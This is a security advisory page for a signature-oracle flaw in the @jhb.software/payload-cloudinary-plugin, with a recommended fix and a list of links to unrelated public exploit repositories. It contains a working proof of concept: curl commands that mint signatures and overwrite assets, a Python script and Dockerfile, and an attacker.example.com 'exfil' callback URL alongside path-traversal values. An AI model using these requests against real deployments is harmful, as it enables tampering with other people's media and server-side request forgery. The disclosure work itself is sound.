GHSA-h5x8-xp6m-x6q4HIGHCVSS 7.1

@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing

Published Jun 19, 2026·Updated Jun 23, 2026

Description

## Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin ### Summary `@jhb.software/payload-cloudinary-plugin` v0.3.4 exposes a server-side signing endpoint (`POST /api/cloudinary-generate-signature`) that passes attacker-supplied `paramsToSign` directly to `cloudinary.utils.api_sign_request()` without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including `overwrite=true`, `type=private`, `notification_url`, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account. ### Details When `clientUploads: true` is configured, the plugin registers a signing handler at `cloudinary/src/index.ts:74-79`. The handler is implemented in `cloudinary/src/getGenerateSignature.ts`. **Vulnerable code path (step by step):** 1. `cloudinary/src/index.ts:58` — `initClientUploads` registers the server upload handler. 2. `cloudinary/src/index.ts:68` — The Cloudinary API key is exposed to client handler props by design. 3. `cloudinary/src/index.ts:74-79` — The signing endpoint is mounted at `/cloudinary-generate-signature`. 4. `cloudinary/src/getGenerateSignature.ts:18` — The default access control checks only `!!req.user`, permitting any authenticated user. 5. `cloudinary/src/getGenerateSignature.ts:46` — The entire request body is parsed: `const body = await req.json?.()`. 6. `cloudinary/src/getGenerateSignature.ts:55` — **Vulnerable sink**: attacker-controlled `body.paramsToSign` is forwarded verbatim to the signing function. ```ts // cloudinary/src/getGenerateSignature.ts:46-55 const body = await req.json?.() if (!body?.paramsToSign) { return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...) } // No allowlist, no key filtering, no folder/public_id/overwrite enforcement const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret) ``` There are **no** mitigations in place: - No parameter key allowlist (attacker can include `overwrite`, `type`, `notification_url`, `invalidate`, etc.) - No folder/public_id policy enforcement (the plugin's `folder` option from `index.ts` is never passed to `getGenerateSignature`) - No timestamp freshness check - No restriction on path traversal sequences in `folder` or `public_id` Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures: | Case | paramsToSign | Impact | |------|-------------|--------| | CASE-2 | `folder=attacker-controlled, overwrite=true` | Overwrite any existing asset | | CASE-3 | `type=private, public_id=admin-document` | Change asset visibility / bypass access control | | CASE-4 | `notification_url=http://attacker.example.com/exfil` | SSRF / data exfiltration via Cloudinary webhook | | CASE-5 | `folder=../../../../admin-assets, invalidate=true` | Path traversal + CDN cache invalidation | Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input. ### PoC **Prerequisites:** - `@jhb.software/payload-cloudinary-plugin@0.3.4` deployed with `clientUploads: true` - An authenticated Payload session (any privilege level) - Knowledge of `CLOUDINARY_CLOUD_NAME` and the client-exposed API key (exposed by design at `index.ts:68`) **Step 1 — Obtain a signature for arbitrary parameters (bash):** ```bash TS=$(date +%s) SIG=$(curl -s \ -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \ -H "Content-Type: application/json" \ -X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \ --data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \ | jq -r .signature) echo "Obtained signature: $SIG" ``` **Step 2 — Use the minted signature to upload directly to Cloudinary:** ```bash curl -s -X POST "https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload" \ -F "file=@poc.txt" \ -F "api_key=$CLOUDINARY_API_KEY" \ -F "timestamp=$TS" \ -F "folder=attacker" \ -F "public_id=overwrite-target" \ -F "overwrite=true" \ -F "signature=$SIG" ``` **Expected result:** Cloudinary returns a successful upload JSON for `attacker/overwrite-target` — an asset path the plugin never intended to authorize. **Automated PoC (Python):** ```bash # Build and run the reproduction container docker build -t vuln-002-cloudinary . docker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary # Run all five attack scenarios python3 poc.py --server http://127.0.0.1:3000 ``` The script (`poc.py`) posts five distinct `paramsToSign` payloads and independently verifies each returned signature using `hashlib.sha1`. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability. **Sample output (Phase 2 evidence):** ``` [SIGN] paramsToSign={"timestamp":"...","folder":"attacker-controlled","public_id":"overwrite-target","overwrite":"true"} => abc45ef5f0807bdef153074d2be3e713ea867168 (HTTP 200) [SIGN] paramsToSign={"timestamp":"...","type":"private","public_id":"admin-document"} => 0d8102a5ff48953832b76a1f21d1c513af5940e1 (HTTP 200) [SIGN] paramsToSign={"timestamp":"...","folder":"media","notification_url":"http://attacker.example.com/exfil"} => 72d954c67bd4a38d6a3931c64511f84143d24685 (HTTP 200) [SIGN] paramsToSign={"timestamp":"...","folder":"../../../../admin-assets","public_id":"../../../sensitive","invalidate":"true"} => d44984e7af8fca306e59e00810c2623d8963e011 (HTTP 200) Results: 5/5 cases confirmed — HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign ``` **Recommended fix:** ```diff --- a/cloudinary/src/getGenerateSignature.ts +++ b/cloudinary/src/getGenerateSignature.ts @@ type Args = { apiSecret: string + folder?: string } @@ export const getGenerateSignature = - ({ access = defaultAccess, apiSecret }: Args): PayloadHandler => + ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler => @@ - const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret) + const paramsToSign = body.paramsToSign as Record<string, unknown> + const allowedKeys = new Set(['timestamp', 'folder', 'public_id']) + if ( + !paramsToSign || + Object.keys(paramsToSign).some((key) => !allowedKeys.has(key)) || + typeof paramsToSign.timestamp !== 'string' + ) { + throw new Forbidden() + } + if (folder && paramsToSign.folder !== folder.replace(/^\/|\/$/g, '')) { + throw new Forbidden() + } + if ( + typeof paramsToSign.public_id === 'string' && + (paramsToSign.public_id.includes('..') || paramsToSign.public_id.startsWith('/')) + ) { + throw new Forbidden() + } + const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret) ``` ### Impact This is an **Improper Verification of Cryptographic Signature** vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because `paramsToSign` is never validated, it acts as an unrestricted signature oracle for any authenticated user. **Who is impacted:** All deployments of `@jhb.software/payload-cloudinary-plugin` that set `clientUploads: true`. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README). **Concrete attack outcomes:** - **Asset overwrite** (`overwrite=true`): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement. - **Access-control bypass** (`type=private`): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends. - **SSRF / data exfiltration** (`notification_url`): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery. - **Path traversal** (`folder=../../../../...`, `invalidate=true`): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory. The Cloudinary API key is exposed to the client by the plugin itself (`index.ts:68`), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM node:22-alpine LABEL description="VULN-002 reproduction: arbitrary Cloudinary API parameter signing" \ vuln="getGenerateSignature.ts:55 - body.paramsToSign signed without allowlist" \ package="@jhb.software/payload-cloudinary-plugin@0.3.4" WORKDIR /app # Install exactly the cloudinary version declared in the plugin's package.json RUN echo '{"name":"vuln-002-server","version":"1.0.0","private":true}' > package.json && \ npm install cloudinary@2.10.0 --save --no-audit --no-fund COPY server.js . EXPOSE 3000 # Start the minimal reproduction server CMD ["node", "server.js"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-002: Arbitrary Cloudinary API Parameter Signing Package : @jhb.software/payload-cloudinary-plugin v0.3.4 File : cloudinary/src/getGenerateSignature.ts:55 CWE : CWE-347 — Improper Verification of Cryptographic Signature CVSS : 7.1 (High) AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L Vulnerable sink (exact line from source): const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret) body.paramsToSign is passed directly with no allowlist, no key filtering, and no folder/public_id/overwrite enforcement. Any authenticated user can obtain a valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters. Usage: python3 poc.py [--server http://127.0.0.1:3000] """ import argparse import hashlib import json import sys import time import urllib.error import urllib.request # Must match API_SECRET in server.js API_SECRET = "poc-fake-api-secret-12345" # Simulates a low-privilege authenticated user session AUTH_HEADER = "Bearer low-privilege-user-token" GREEN = "\033[32m" RED = "\033[31m" YELLOW = "\033[33m" RESET = "\033[0m" # --------------------------------------------------------------------------- # Cloudinary signature algorithm — Python re-implementation of # cloudinary.utils.api_sign_request(params, api_secret) # Algorithm: SHA-1( sorted_k=v_pairs + api_secret ) # --------------------------------------------------------------------------- def cloudinary_sign(params: dict, api_secret: str) -> str: """Return the expected Cloudinary HMAC-SHA1 signature for params.""" filtered = {k: v for k, v in params.items() if v not in (None, "")} sorted_pairs = sorted(filtered.items()) param_str = "&".join(f"{k}={v}" for k, v in sorted_pairs) to_sign = param_str + api_secret return hashlib.sha1(to_sign.encode("utf-8")).hexdigest() # --------------------------------------------------------------------------- # HTTP helpers # --------------------------------------------------------------------------- def post_sign(server: str, params: dict) -> tuple[int, dict]: """ POST {"paramsToSign": params} to the signing endpoint. Returns (http_status, response_dict). Raises urllib.error.HTTPError for 4xx/5xx. """ body = json.dumps({"paramsToSign": params}).encode("utf-8") req = urllib.request.Request( f"{server}/api/cloudinary-generate-signature?collectionSlug=media", data=body, headers={ "Content-Type": "application/json", "Authorization": AUTH_HEADER, }, method="POST", ) with urllib.request.urlopen(req, timeout=10) as resp: return resp.status, json.loads(resp.read()) # --------------------------------------------------------------------------- # Test runner # --------------------------------------------------------------------------- def run_case(server: str, label: str, params: dict) -> bool: """ Execute one signing test case and verify: 1. HTTP 200 is returned (endpoint did NOT reject the params). 2. The returned signature is mathematically correct. Returns True if both conditions hold (vulnerability confirmed for this case). """ print(f"\n [{label}]") print(f" paramsToSign : {json.dumps(params)}") try: status, data = post_sign(server, params) except urllib.error.HTTPError as exc: body = exc.read().decode(errors="replace") print(f" HTTP {exc.code} — request rejected: {body}") print(f" {RED}UNEXPECTED REJECTION{RESET} — allowlist may be present for this case") return False except Exception as exc: print(f" Connection error: {exc}") return False sig_returned = data.get("signature", "") sig_expected = cloudinary_sign(params, API_SECRET) sig_match = sig_returned == sig_expected print(f" HTTP status : {status}") print(f" Signature : {sig_returned}") print(f" Expected sig : {sig_expected}") print(f" Sig valid : {'YES — mathematically correct HMAC-SHA1' if sig_match else 'NO — mismatch'}") if status == 200 and sig_match: print(f" {GREEN}CONFIRMED{RESET} — endpoint signed arbitrary params without rejection") return True else: print(f" {RED}UNEXPECTED{RESET} — status={status}, sig_match={sig_match}") return False # --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main(): parser = argparse.ArgumentParser(description="VULN-002 PoC") parser.add_argument("--server", default="http://127.0.0.1:3000", help="Target server URL") args = parser.parse_args() server = args.server.rstrip("/") ts = str(int(time.time())) print("=" * 70) print("VULN-002 PoC — Arbitrary Cloudinary API Parameter Signing") print(f"Target : {server}") print(f"Vuln : getGenerateSignature.ts:55 — no paramsToSign allowlist") print(f"Auth : {AUTH_HEADER!r} (low-privilege user simulation)") print("=" * 70) # ------------------------------------------------------------------ # Attack scenarios # ------------------------------------------------------------------ # Each case passes paramsToSign that the plugin should REJECT but does NOT. # A correctly patched implementation would return 4xx for cases 2-5. # ------------------------------------------------------------------ cases = [ ( "CASE-1: Legitimate params (baseline — should always succeed)", {"timestamp": ts, "folder": "media", "public_id": "user-upload"}, ), ( "CASE-2: Attacker-controlled folder + overwrite=true", { "timestamp": ts, "folder": "attacker-controlled", "public_id": "overwrite-target", "overwrite": "true", }, ), ( "CASE-3: type=private — changes upload visibility", { "timestamp": ts, "type": "private", "public_id": "admin-document", }, ), ( "CASE-4: notification_url — potential SSRF / data exfiltration", { "timestamp": ts, "folder": "media", "notification_url": "http://attacker.example.com/exfil", }, ), ( "CASE-5: folder path traversal + invalidate=true", { "timestamp": ts, "folder": "../../../../admin-assets", "public_id": "../../../sensitive", "invalidate": "true", }, ), ] results = [] for label, params in cases: results.append(run_case(server, label, params)) passed = sum(results) total = len(results) print("\n" + "=" * 70) print(f"Results : {passed}/{total} cases confirmed") # Cases 1-5 all passing means the vulnerability is proven: # the endpoint signs ANY paramsToSign regardless of content. if all(results): print(f"\n{GREEN}VERDICT: PASS — VULN-002 CONFIRMED{RESET}") print( "All 5 attack scenarios returned HTTP 200 with a mathematically valid" " Cloudinary HMAC-SHA1 signature." ) print( "The plugin endpoint signs arbitrary upload parameters without any" " allowlist, folder enforcement, or overwrite/type restriction." ) print( "Impact: any authenticated Payload user can mint valid Cloudinary" " signatures for arbitrary parameters, enabling asset replacement," " privacy changes, and potential SSRF via notification_url." ) sys.exit(0) elif results[0]: failed = [cases[i][0] for i, r in enumerate(results) if not r] print(f"\n{YELLOW}VERDICT: PARTIAL — baseline succeeded but some cases failed{RESET}") print(f"Failed cases: {failed}") sys.exit(2) else: print(f"\n{RED}VERDICT: FAIL — server not reachable or baseline request failed{RESET}") sys.exit(1) if __name__ == "__main__": main() ```

Affected Packages (1)

@jhb.software/payload-cloudinary-pluginNPM
From 0.3.0
Fixed in 0.4.0

Public Exploits & PoCs100 found

PoC: CVE-2025-8110

PoC exploit for CVE-2025-8110

4

PoC: katana

Let's hijack our bootchain - CVE-2021-30327

2

PoC: CVE-2026-24418

OpenSTAManager v2.9.8 and earlier contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module.

1

PoC: OpenSTAManager-RCE-Exploit-CVE-2026-38751

OpenSTAManager-RCE-Exploit-CVE-2026-38751

1

PoC: pagecache-lpe-containment-kit

Educational, defensive kit for two Linux page-cache-corruption LPEs (DirtyClone CVE-2026-43503, pedit COW CVE-2026-46331): hardening, detection, verification, seccomp + validation harness. Detection and prevention only — no exploit code. TLP:CLEAR.

1

PoC: By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Missing Authorization

1

PoC: CVE-2026-43499

CVE-2026-43499 PoC

1

PoC: CVE-2026-20251

CVE-2026-20251 — Splunk Secure Gateway jsonpickle deserialization RCE (CVSS 8.8) | ReactiveZero Security Research

1

PoC: pdf.js-CVE-2024-4367

SCAN END POC THE CVE-2024-4367

1

PoC: CVE-2026-48908

CVE-2026-48908

1

PoC: CVE-2020-24186

Exploit para RCE (Remote Code Exec) CVE de plugin vulnerable en Wordpress WP-Discuz en versión 7.0.4

1

PoC: CVE-2026-56111

Proof of concept for CVE-2026-56111, an out-of-bounds write in the M421 G-code handler of Marlin Firmware

1

PoC: CVE-2023-43364-Searchor-RCE-Exploit

POC exploit via unsafe `eval()` usage in Searchor (≤ 2.4.2)

PoC: CVE-2026-46817

CVE-2026-46817

PoC: cve-2026-46331-audit

cve-2026-46331-audit script

PoC: CVE-2026-56782-Gorse-Auth-Bypass

CVE-2026-56782 — Gorse <0.5.10 unauthenticated DB dump/restore (admin_api_key fail-open). Lab + PoC, verified e2e.

PoC: cve-2026-0000-reference

NIST CVE-2026-0000 Keylogger Analysis

PoC: CVE-2026-48907

CVE-2026-48907 – Joomla JCE Unauthenticated Remote Code Execution (RCE)

PoC: CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 unauthenticated RCE (AST sandbox escape via gi_frame.f_back). Lab + PoC, verified e2e.

PoC: cve-2023-4911-exploit-optimized

Pure C exploit for CVE-2023-4911 (Looney Tunables). No Python required. Features multi-processing brute-forcing, dynamic calibration, and integrated ELF parser.

PoC: CVE_2024_1086_vulnerability_check

CVE-2024-1086 vulnerability

PoC: CVE-2026-43503

DirtyClone - local privilege escalation (LPE) proof-of-concept targeting a kernel/XFRM-related vulnerability described in the source as CVE-2026-43503

PoC: cve-2026-9082-drupal

drupal-postgresql-rce

PoC: graylog-cve-2024-24824-exploit

Proof-of-concept exploit for CVE-2024-24824 demonstrating how an arbitrary class loading primitive can be transformed into remote code execution on vulnerable Graylog deployments.

PoC: CVE-2026-55200

CVE-2026-55200 - Critical libssh2 Remote Code Execution Vulnerability

PoC: By-Poloss..-..CVE-2026-48939

iCagenda Unauthenticated File Upload to RCE

PoC: cve-2025-0133

CVE-2025-0133 Scanner | Palo Alto GlobalProtect XSS Checker

PoC: CVE-2026-22226

Proof of Concept for the CVE-2026-22226

PoC: CVE-2026-20253

POC for CVE-2026-20253

PoC: Joomla_CVE_2026_48907

cve-2026-48907 scanner

PoC: DirtyClone

Python Proof of Concept for DirtyClone (CVE-2026-43503) - Linux kernel LPE via page-cache corruption

PoC: WiseDelete

Windows utility that demonstrates user-mode interaction with the vulnerable WiseDelfile64.sys driver and uses CVE-2025-66680 to perform kernel-assisted file deletion.

PoC: CVE-2025-55182-React2Shell-RCE

React2Shell (CVE-2025-55182) PoC

PoC: CVE-2026-48908

Unauthenticated RCE PoC for CVE-2026-48908 SP Page Builder (Joomla) arbitrary file upload and remote code execution exploit with mass scaning support.

PoC: WiseDelete

A lightweight Windows utility demonstrating user-mode interaction with the vulnerable WiseDelfile64.sys driver using CVE-2025-66680 to perform kernel-assisted file deletion.

PoC: CVE-2026-23918-Double-free-Apache-httpd-mod_http2

Double-free in Apache httpd mod_http2 stream cleanup leading to pre-auth RCE

PoC: CVE-2018-18778

CVE-2018-18778 - ACME mini_httpd Arbitrary File Read

PoC: CVE-2023-0386-OverlayFS

Copy fake in-memory files to disk using overlayFS

PoC: CVE-2026-49048-JoomCCK-SQLi

CVE-2026-49048 — JoomCCK 6.4.0 Unauthenticated SQL Injection (CVSS 9.8)

PoC: crypto-lab-merkle-proofs

Browser-based Merkle tree demo — build a tree, generate inclusion proofs, recompute the root hash by hash, and replay the RFC 6962 second-preimage and CVE-2012-2459 attacks. Real SHA-256. No backend.

PoC: react2shell-exploit

React2Shell: CVE-2025-55182

PoC: CVE-2026-12485

CVE-2026-12485

PoC: DevHub-HTB-Walkthrough

Hack The Box - DevHub Machine Walkthrough (Medium Linux, CVE-2026-23744, Chisel Tunneling, Jupyter, Root Privilege Escalation)

PoC: CVE-2026-41179

POC for CVE-2026-41179

PoC: dirtyclone-exploit

CVE-2026-46331 — Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption · Affected kernels: ≤ 6.12.9

PoC: CVE-2026-27654

Обзор n-day уязвимости на русском языке.

PoC: CVE-2026-41940-PoC

CVE-2026-41940 authentication bypass vulnerability proof-of-concept

PoC: laravel-filemanager-unrestricted-upload

PoC for CVE-2025-56399 - Unrestricted File Upload leading to RCE in alexusmai/laravel-file-manager (≤3.3.1). Automates detection, CSRF extraction, and File Upload

PoC: DirtyClone

DirtyClone - local privilege escalation (LPE) proof-of-concept targeting a kernel/XFRM-related vulnerability described in the source as CVE-2026-43503

PoC: CVE-2025-69212-Authenticated-RCE-PoC

Automated PoC for CVE-2025-69212 - OpenSTAManager <=2.9.8 authenticated RCE

PoC: ffmpeg-jellyfix

patched ffmpeg-tools for jellyfin to patch CVE-2026-8461 aka PixelSmash

PoC: prefect-cve-2026-5366

PoC for CVE-2026-5366: git argument injection in Prefect's GitRepository leading to RCE on the worker.

PoC: CVE-2026-0073-Android-ADBD-bypass-POC_zh_CN

CVE-2026-0073-Android-ADBD-bypass-POC汉化版

PoC: CVE-2026-48907

CVE-2026-48907 is a CVSS 10.0 pre-auth RCE in Joomla Content Editor affecting all versions ≤ 2.9.99.4. The Grayxploit team breaks down the 3-weakness chain — missing auth, no extension validation, and an unsafe upload flag — that lets attackers pop a shell in 3 HTTP requests.

PoC: htb-orion-writeup

Hack The Box - Orion (Easy) | CVE-2025-32432 & CVE-2026-24061

PoC: CVE-2026-36834

Out-of-bounds array read in LibRaw

PoC: masta-cve-2026-48907

cve-2026-48907 scanner

PoC: CVE-2026-46331

CVE-2026-46331 - Draft

PoC: CVE-2026-8932

CVE-2026-8932

PoC: CVE-2025-58434-Flowiseai-Auth-Bypass-PoC

Flowiseai Flowise Auth Bypass Vulnerability Proof of Concept

PoC: CVE-2026-46331

CVE-2026-46331

PoC: CVE-2026-12415-or-CVE-2026-12416.py

CVE-2026-12415-or-CVE-2026-12416.py

PoC: By-Poloss..-..CVE-2026-39938

Cacti <= 1.2.30

PoC: smbghost

scanner for CVE-2020-0796

PoC: CVE-2026-26980-PoC

Ghost CMS Content API Blind SQL Injection

PoC: CVE-2026-46558

Plane’s V2 asset subsystem trusted workspace slugs and asset UUIDs without enforcing the right membership checks, which let one authenticated user read, copy, delete, and overwrite assets in other workspaces.

PoC: CVE-2026-45806

Penpot's remote image import let an authenticated file editor turn a normal media convenience feature into backend-origin SSRF because attacker-controlled URLs crossed into a redirect-following server fetch path without destination filtering.

PoC: CVE-2026-45806

Penpot's remote image import let an authenticated file editor turn a normal media convenience feature into backend-origin SSRF because attacker-controlled URLs crossed into a redirect-following server fetch path without destination filtering.

PoC: CVE-2026-42089

A local package installation helper trusted caller-supplied package names too much. In yeoman-environment, missing generators could be installed without user confirmation, turning attacker-controlled project metadata into a package-install and code-execution path.

PoC: CVE-2026-34207

The SSRF filter checked hostname text, but the actual destination was decided later by DNS. That gap let attacker-controlled Webhook URLs reach loopback, metadata, and private network targets.

PoC: CVE-2026-34213

A low-privileged Docmost user could supply a victim attachmentId to the generic upload endpoint and overwrite another page's stored attachment inside the same workspace.

PoC: CVE-2026-34212

Docmost accepted a javascript: URL inside an attachment node, preserved it through storage and rendering, and turned it back into a clickable anchor in the Docmost origin.

PoC: CVE-2026-33146

A public share looked clean in the page tree, but the search endpoint told a different story. In Docmost, restricted child pages hidden from public share viewers could still leak through public share search results.

PoC: CVE-2026-54807

CVE-2026-54807 WooCommerce Privilege Escalation ║ ║ Unauthenticated Admin Role Assignment via Reg. Form

PoC: metasploitable2-exploitation-metasploit

Full Metasploit exploitation walkthrough against Metasploitable2 — vsftpd backdoor, Samba CVE-2007-2447, UnrealIRCd backdoor, Netcat exfiltration, and credential cracking prep.

PoC: CVE-2026-8461

CVE-2026-8461

PoC: Amaranth-Project

CVE-2025-8088 exploitation chain + Quasar C2 multi-stage payload delivery

PoC: CVE-2026-13036-PoC

PoC for CVE-2026-13036 — Use-after-free in Blink WidgetBase::UpdateSurfaceAndScreenInfo (Chrome < 149.0.7827.197)

PoC: CVE-2026-24207-triton

PoC + analysis for CVE-2026-24207 / CVE-2026-24206 — NVIDIA Triton SageMaker & Vertex AI auth-restriction bypass + RCE chain

PoC: CVE-2026-26980-Ghost-CMS-Api

CVE-2026-26980 - Ghost CMS Content API SQL Injection

PoC: CVE-2026-43503

CVE-2026-43503

PoC: CVE-2026-55584

CVE-2026-55584 — phpSysInfo IP Allowlist Bypass

PoC: CVE-2023-45866---Blue-exploit

POC for CVE-2023-45866 affecting Latest Android devices.

PoC: CVE-2025-61155

CVE-2025-61155 — arbitrary process termination in GameDriverX64.sys (Tower of Fantasy anti-cheat). Original IDA Pro teardown, PoC, YARA, IOCs, mitigation.

PoC: CVE-2026-4253-Scanner

Non-destructive vulnerability scanner for NGINX HTTP/3 (ngx_http_v3_module). It ONLY performs a safe probe: opens an HTTP/3 (QUIC) connection, sends a single HEAD request and inspects the `Server` response header. It NEVER attempts to reopen a QPACK encoder stream or trigger the use-after-free.

PoC: CVE-2026-23111

Linux Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC

PoC: CVE-2026-7574

CVE-2026-7574

PoC: cve-2019-9053-py3

Unauthenticated time-based blind SQL injection exploit for CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), ported to Python 3.

PoC: CVE-2025-67038

CVE-2025-67038 - Draft

PoC: CVE-2026-53075poc

POC of CVE-2026-53075

PoC: kernel-exploit-dirtycow

Lab — Privilege Escalation via Dirty Cow CVE-2016-5195 | 4Geeks Academy

PoC: CVE-2021-29441

CVE-2021-29441 - Nacos Authentication Bypass

PoC: CVE-2021-22205

CVE-2021-22205 - GitLab Unauthenticated Remote Code Execution

PoC: C-test-2

Dependabot security automerge test - ejs CVE-2022-29078

PoC: CVE-2026-38526-POC

Proof of Concept of CVE-2026-38526 in Krayin CRM <= v2.2.x. Arbitrary File Upload leading to Remote Code Execution

PoC: vuln-ejs-critical

npm repo with ejs CVE-2022-29078 (CVSS 9.8, EPSS 32%) for Dependabot automerge testing

PoC: FreePBX-SQLi-RCE

CVE-2025-57819 FreePBX SQLi RCE PoC

PoC: CVE-2026-12416-CVE-2026-12417

Unauthenticated Account Takeover via Weak Password Reset Validation via 'reset_user_id' Parameter | Unauthenticated Privilege Escalation via Weak Password Reset Validation via 'reset_activation_code' Leading to Account Takeover

PoC: CVE-2022-37706

ROOT TOOL

PoC: React2Shell-PoC-CVE-2025-55182

Khai thác lỗ hổng bảo mật CVE-2025-55182

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

References

View on NVD Search GitHub Search Google

Get alerted for CVEs like this

Register your stack and get notified within minutes when a matching CVE drops.

Start monitoring free